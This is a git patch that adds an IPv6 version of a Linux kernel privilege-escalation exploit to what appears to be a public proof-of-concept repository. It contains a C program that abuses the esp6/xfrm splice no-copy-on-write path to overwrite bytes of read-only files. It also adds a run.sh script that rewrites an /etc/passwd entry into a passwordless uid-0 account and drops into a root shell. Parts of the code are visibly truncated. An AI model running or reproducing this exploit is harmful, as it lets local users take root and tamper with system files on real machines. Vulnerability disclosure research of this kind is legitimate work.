From 740f60f226a7133bbc93e9716db1cd0df06262e4 Mon Sep 17 00:00:00 2001 From: 0xdeadbeefnetwork Date: Thu, 7 May 2026 19:50:45 -0400 Subject: [PATCH] ipv6: add esp6 dual Same bug in esp6_input not covered by f4c50a4034. PoC in ipv6/. ESP packet padded to >= 40 bytes for the v6-only size gate. --- README.md | 7 ++ ipv6/copyfail2v6.c | 183 +++++++++++++++++++++++++++++++++++++++++++++ ipv6/run.sh | 152 +++++++++++++++++++++++++++++++++++++ 3 files changed, 342 insertions(+) create mode 100644 ipv6/copyfail2v6.c create mode 100755 ipv6/run.sh diff --git a/README.md b/README.md index e3c3914..a72142c 100644 --- a/README.md +++ b/README.md @@ -40,6 +40,13 @@ path. *MSG_SPLICE_PAGES UDP support was added in 6.5, so 5.15 is below the bug's reach. +## IPv6 + +Same bug exists in `esp6_input` and is not covered by the v4 fix +`f4c50a4034`. PoC in `ipv6/`: `ipv6/run.sh` and `ipv6/copyfail2v6.c`. +Uses `::1` loopback and `ip -6 xfrm`. ESP packet padded to >= 40 bytes +to clear the `xfrm6_input.c:124` size gate. + ## Credits Hyunwoo Kim (imv4bel) and Kuan-Ting Chen reported, tested, diff --git a/ipv6/copyfail2v6.c b/ipv6/copyfail2v6.c new file mode 100644 index 0000000..4af8117 --- /dev/null +++ b/ipv6/copyfail2v6.c @@ -0,0 +1,183 @@ +// IPv6 dual of copyfail2. xfrm/esp6 MSG_SPLICE_PAGES no-COW path over ::1. +// Run inside: aa-rootns -n -- ./copyfail2v6 +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef UDP_ENCAP +#define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP +#define UDP_ENCAP_ESPINUDP 2 +#endif +#include + +#define SPI 0xdeadbeef +#define ENC_PORT 4500 +#define IVLEN 8 +#define ICVLEN 16 +#define AES_KEYLEN 16 +#define SALT_LEN 4 +#define KEYTOTAL (AES_KEYLEN + SALT_LEN) + +#ifndef SPLICE_F_MORE +#define SPLICE_F_MORE 0x4 +#endif + +static const unsigned char AEAD_KEY[KEYTOTAL] = { + 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07, + 0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f, + 0x10,0x11,0x12,0x13 +}; + +static void die(const char *m) { perror(m); exit(1); } + +static int aes_gcm_keystream_byte(const unsigned char *key16, + const unsigned char *nonce12, + size_t off, unsigned char *out) +{ + EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); + if (!ctx) return -1; + int len; + if (!EVP_EncryptInit_ex(ctx, EVP_aes_128_gcm(), NULL, NULL, NULL)) goto bad; + if (!EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_IVLEN, 12, NULL)) goto bad; + if (!EVP_EncryptInit_ex(ctx, NULL, NULL, key16, nonce12)) goto bad; + unsigned char zeros[256] = {0}; + size_t need = off + 1; + unsigned char buf[256]; + while (need) { + size_t chunk = need < sizeof(zeros) ? need : sizeof(zeros); + if (!EVP_EncryptUpdate(ctx, buf, &len, zeros, chunk)) goto bad; + if (chunk == need) { + *out = buf[chunk - 1]; + EVP_CIPHER_CTX_free(ctx); + return 0; + } + need -= chunk; + } +bad: + EVP_CIPHER_CTX_free(ctx); + return -1; +} + +int main(int argc, char *argv[]) +{ + if (argc < 4) { + fprintf(stderr, "usage: %s \n", argv[0]); + return 2; + } + const char *target = argv[1]; + size_t tboff = strtoul(argv[2], 0, 0); + unsigned char want_plain = (unsigned char)strtoul(argv[3], 0, 0); + + int tfd = open(target, O_RDONLY); + if (tfd < 0) die("open target"); + unsigned char tbyte; + if (pread(tfd, &tbyte, 1, tboff) != 1) die("pread target byte"); + unsigned char want_ks = tbyte ^ want_plain; + printf("[+] target=%s off=%zu ciphertext=0x%02x want_plain=0x%02x need_ks=0x%02x\n", + target, tboff, tbyte, want_plain, want_ks); + if (tbyte == want_plain) { printf("[!] target byte already equals desired value\n"); return 0; } + + unsigned char IV[IVLEN] = {0}; + unsigned char nonce[12]; + memcpy(nonce, AEAD_KEY + AES_KEYLEN, SALT_LEN); + unsigned char ks_byte = 0; + uint64_t ivv; + for (ivv = 1; ivv < (1ULL<<32); ivv++) { + memcpy(IV, &ivv, IVLEN); + memcpy(nonce + SALT_LEN, IV, IVLEN); + if (aes_gcm_keystream_byte(AEAD_KEY, nonce, 0, &ks_byte)) { + fprintf(stderr, "openssl error\n"); return 1; + } + if (ks_byte == want_ks) break; + } + if (ks_byte != want_ks) { fprintf(stderr, "no IV found\n"); return 1; } + printf("[+] IV found (after %lu trials): ", (unsigned long)ivv); + for (int i=0;i plain=0x%02x\n", ks_byte, tbyte ^ ks_byte); + + char keyhex[KEYTOTAL*2 + 3] = "0x"; + for (int i=0;ilen < 48, so UDP payload >= 40 + unsigned char pad[16] = {0}; + if (pwrite(afd, pad, 16, 2048) != 16) die("pwrite pad"); + unsigned char icv[16] = {0}; + if (pwrite(afd, icv, 16, 4096) != 16) die("pwrite icv"); + fsync(afd); + posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED); + int afd2 = open(atkpath, O_RDONLY); + if (afd2 < 0) die("reopen atk"); + unlink(atkpath); + + int pfd[2]; + if (pipe(pfd) < 0) die("pipe"); + fcntl(pfd[0], F_SETPIPE_SZ, 1<<20); + fcntl(pfd[1], F_SETPIPE_SZ, 1<<20); + + loff_t off = 0; + if (splice(afd2, &off, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice esp_hdr"); + loff_t toff = tboff; + if (splice(tfd, &toff, pfd[1], NULL, 1, SPLICE_F_MORE) != 1) die("splice target byte"); + loff_t poff = 2048; + if (splice(afd2, &poff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice pad"); + loff_t ioff = 4096; + if (splice(afd2, &ioff, pfd[1], NULL, 16, SPLICE_F_MORE) != 16) die("splice icv"); + + int ss = socket(AF_INET6, SOCK_DGRAM, 0); + if (ss < 0) die("send sock"); + struct sockaddr_in6 da = la; + if (connect(ss, (struct sockaddr*)&da, sizeof da) < 0) die("connect"); + ssize_t sent = splice(pfd[0], NULL, ss, NULL, 16+1+16+16, 0); + printf("[+] splice->UDP sent=%zd errno=%d\n", sent, errno); + + usleep(200*1000); + unsigned char vbyte; + if (pread(tfd, &vbyte, 1, tboff) != 1) die("verify pread"); + printf("[+] post byte at offset %zu = 0x%02x (was 0x%02x, wanted 0x%02x) match=%s\n", + tboff, vbyte, tbyte, want_plain, vbyte == want_plain ? "YES" : "NO"); + return vbyte == want_plain ? 0 : 1; +} diff --git a/ipv6/run.sh b/ipv6/run.sh new file mode 100755 index 0000000..cf29379 --- /dev/null +++ b/ipv6/run.sh @@ -0,0 +1,152 @@ +#!/bin/bash +# IPv6 dual of run.sh. Same flow, esp6 over ::1. +# +# Usage: +# ./run.sh install + drop into root shell +# ./run.sh --clean undo the install + +set -u +HERE=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +ROOT=$(cd "$HERE/.." && pwd) +STATE=/var/tmp/.cf2v6.state +NEW_USER=sick +PREFIX="${NEW_USER}::0:0:" +SUFFIX=":/:/bin/bash" + +red() { printf '\033[31m%s\033[0m\n' "$*" >&2; } +green() { printf '\033[32m%s\033[0m\n' "$*"; } +blue() { printf '\033[34m=== %s\033[0m\n' "$*"; } + +setup_usns() { + if unshare -U -r -n -- /bin/sh -c 'ip link add type dummy 2>/dev/null && ip link del dev dummy0 2>/dev/null' 2>/dev/null; then + USNS=(unshare -U -r -n --) + return + fi + if [ -n "${AAR:-}" ] && [ -x "$AAR" ]; then + USNS=("$AAR" -n --); return + fi + if command -v aa-rootns >/dev/null 2>&1; then + USNS=("$(command -v aa-rootns)" -n --); return + fi + if [ ! -x "$ROOT/aa-rootns" ] && [ -f "$ROOT/aa-rootns.c" ]; then + gcc -O2 -Wall "$ROOT/aa-rootns.c" -o "$ROOT/aa-rootns" \ + || { red "build aa-rootns failed"; exit 1; } + fi + if [ -x "$ROOT/aa-rootns" ]; then + USNS=("$ROOT/aa-rootns" -n --); return + fi + red "no usable userns harness" + exit 1 +} + +build_helper() { + [ -x "$HERE/copyfail2v6" ] || gcc -O2 -Wall "$HERE/copyfail2v6.c" -o "$HERE/copyfail2v6" -lcrypto \ + || { red "build copyfail2v6 failed (need libssl-dev)"; exit 1; } +} + +flip_range() { + local line_off=$1 src=$2 dst=$3 len=${#2} + local i o t off + declare -ag FLIPS=() + for ((i=0; i/dev/null + done +} + +if [ "${1:-}" = "--clean" ] || [ "${1:-}" = "-c" ]; then + [ -r "$STATE" ] || { red "no state file at $STATE"; exit 1; } + # shellcheck disable=SC1090 + . "$STATE" + : "${LINE_OFF:?missing LINE_OFF in state}" "${VICTIM_LINE:?missing VICTIM_LINE in state}" + VICTIM_LEN=${#VICTIM_LINE} + + setup_usns + build_helper + + CURRENT=$(dd if=/etc/passwd bs=1 skip="$LINE_OFF" count="$VICTIM_LEN" 2>/dev/null) + if [ "$CURRENT" = "$VICTIM_LINE" ]; then + green "[+] /etc/passwd already matches original" + rm -f "$STATE" + exit 0 + fi + + declare -a CFLIPS=() + for ((i=0; i/dev/null + done + + if grep -q "^${NEW_USER}::0:0:" /etc/passwd; then + red "sick line still present" + exit 1 + fi + rm -f "$STATE" + green "[+] cleaned" + exit 0 +fi + +if [ "${1:-}" = "--help" ] || [ "${1:-}" = "-h" ]; then + sed -n '2,7p' "$0" + exit 0 +fi + +if getent passwd "$NEW_USER" | grep -q "^${NEW_USER}::0:0:"; then + green "[+] '$NEW_USER' already in /etc/passwd" + exec su - "$NEW_USER" +fi + +setup_usns +build_helper + +getent passwd "$NEW_USER" >/dev/null \ + && { red "'$NEW_USER' already exists with non-uid-0 entry"; exit 1; } + +VICTIM_LINE=$(awk -F: ' + $NF == "/usr/sbin/nologin" || $NF == "/sbin/nologin" || + $NF == "/bin/false" || $NF == "/usr/bin/false" || $NF == "/bin/sync" { + if (length($0) > maxlen) { maxlen = length($0); maxline = $0 } + } + END { print maxline } +' /etc/passwd) +[ -n "$VICTIM_LINE" ] || { red "no victim line found"; exit 1; } +VICTIM_NAME=${VICTIM_LINE%%:*} +VICTIM_LEN=${#VICTIM_LINE} + +PAD_LEN=$((VICTIM_LEN - ${#PREFIX} - ${#SUFFIX})) +[ "$PAD_LEN" -ge 0 ] \ + || { red "victim '$VICTIM_NAME' line too short ($VICTIM_LEN chars)"; exit 1; } +PAD=$(printf '%*s' "$PAD_LEN" '' | tr ' ' 'X') +TARGET_LINE="${PREFIX}${PAD}${SUFFIX}" + +LINE_OFF=$(grep -nob "^$VICTIM_NAME:" /etc/passwd | head -1 | cut -d: -f2) + +umask 077 +{ + echo "LINE_OFF=$LINE_OFF" + printf 'VICTIM_LINE=%q\n' "$VICTIM_LINE" +} > "$STATE" + +blue "Stage 1: overwrite '$VICTIM_NAME' line ($VICTIM_LEN bytes)" +flip_range "$LINE_OFF" "$VICTIM_LINE" "$TARGET_LINE" + +blue "Stage 2: verify" +grep "^$NEW_USER:" /etc/passwd || { red "mutation didn't land"; exit 1; } + +blue "Stage 3: su - $NEW_USER" +green "[i] state at $STATE; ./run.sh --clean to revert" +exec su - "$NEW_USER"